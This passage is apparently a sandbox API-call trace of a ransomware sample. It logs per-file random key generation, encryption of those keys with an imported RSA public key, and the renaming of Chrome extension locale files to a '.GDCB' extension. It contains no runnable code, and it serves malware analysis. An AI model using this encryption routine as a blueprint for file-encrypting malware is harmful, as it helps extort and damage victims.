(hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.364] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.364] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.364] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0280.366] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678ea20) returned 1 [0280.366] CryptGetKeyParam (in: hKey=0x678ea20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.367] CryptEncrypt (in: hKey=0x678ea20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.367] GetLastError () returned 0x0 [0280.367] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.367] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.369] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678eb60) returned 1 [0280.369] CryptGetKeyParam (in: hKey=0x678eb60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.369] CryptEncrypt (in: hKey=0x678eb60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.369] GetLastError () returned 0x0 [0280.369] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.369] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.370] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.373] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.376] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x3fdc, lpOverlapped=0x0) returned 1 [0280.386] VirtualAlloc (lpAddress=0x0, dwSize=0x3fe0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0280.392] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_br\\messages.json.gdcb")) returned 0 [0280.395] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.399] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.401] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.401] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.401] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.401] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0280.404] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.406] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.407] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.407] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0280.407] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.410] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678eba0) returned 1 [0280.410] CryptGetKeyParam (in: hKey=0x678eba0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.410] CryptEncrypt (in: hKey=0x678eba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.410] GetLastError () returned 0x0 [0280.410] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.410] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0280.412] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678ede0) returned 1 [0280.412] CryptGetKeyParam (in: hKey=0x678ede0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.412] CryptEncrypt (in: hKey=0x678ede0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.412] GetLastError () returned 0x0 [0280.412] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.412] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.414] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.417] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.420] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x3fdc, lpOverlapped=0x0) returned 1 [0280.430] VirtualAlloc (lpAddress=0x0, dwSize=0x3fe0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0280.436] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\messages.json.gdcb")) returned 0 [0280.442] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0280.445] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.448] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.448] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.448] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.448] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0280.451] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.453] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.455] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.455] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.455] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0280.458] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678ebe0) returned 1 [0280.458] CryptGetKeyParam (in: hKey=0x678ebe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.458] CryptEncrypt (in: hKey=0x678ebe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.458] GetLastError () returned 0x0 [0280.458] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0280.458] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0280.460] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678ec20) returned 1 [0280.460] CryptGetKeyParam (in: hKey=0x678ec20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.460] CryptEncrypt (in: hKey=0x678ec20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.460] GetLastError () returned 0x0 [0280.460] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.460] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.461] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.464] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.467] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x40db, lpOverlapped=0x0) returned 1 [0280.476] VirtualAlloc (lpAddress=0x0, dwSize=0x40e0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0280.483] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json.gdcb")) returned 1 [0280.491] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.495] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.497] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.497] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.497] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.497] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.500] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.504] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.504] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.504] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.505] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.507] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678eca0) returned 1 [0280.507] CryptGetKeyParam (in: hKey=0x678eca0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.507] CryptEncrypt (in: hKey=0x678eca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.507] GetLastError () returned 0x0 [0280.507] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.507] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0280.509] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678ece0) returned 1 [0280.509] CryptGetKeyParam (in: hKey=0x678ece0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.509] CryptEncrypt (in: hKey=0x678ece0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.510] GetLastError () returned 0x0 [0280.510] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.510] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.511] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.514] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.518] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x490e, lpOverlapped=0x0) returned 1 [0280.543] VirtualAlloc (lpAddress=0x0, dwSize=0x4910, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0280.551] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json.gdcb")) returned 1 [0280.557] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.560] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.562] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.563] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.563] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.563] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.566] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.569] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.569] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.569] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.569] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0280.572] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f5e0) returned 1 [0280.572] CryptGetKeyParam (in: hKey=0x678f5e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.572] CryptEncrypt (in: hKey=0x678f5e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.572] GetLastError () returned 0x0 [0280.572] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0280.572] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.574] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f7a0) returned 1 [0280.574] CryptGetKeyParam (in: hKey=0x678f7a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.574] CryptEncrypt (in: hKey=0x678f7a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.574] GetLastError () returned 0x0 [0280.574] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.574] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.576] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.580] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.583] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x40fd, lpOverlapped=0x0) returned 1 [0280.592] VirtualAlloc (lpAddress=0x0, dwSize=0x4100, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0280.600] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json.gdcb")) returned 1 [0280.605] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.610] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.612] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.613] 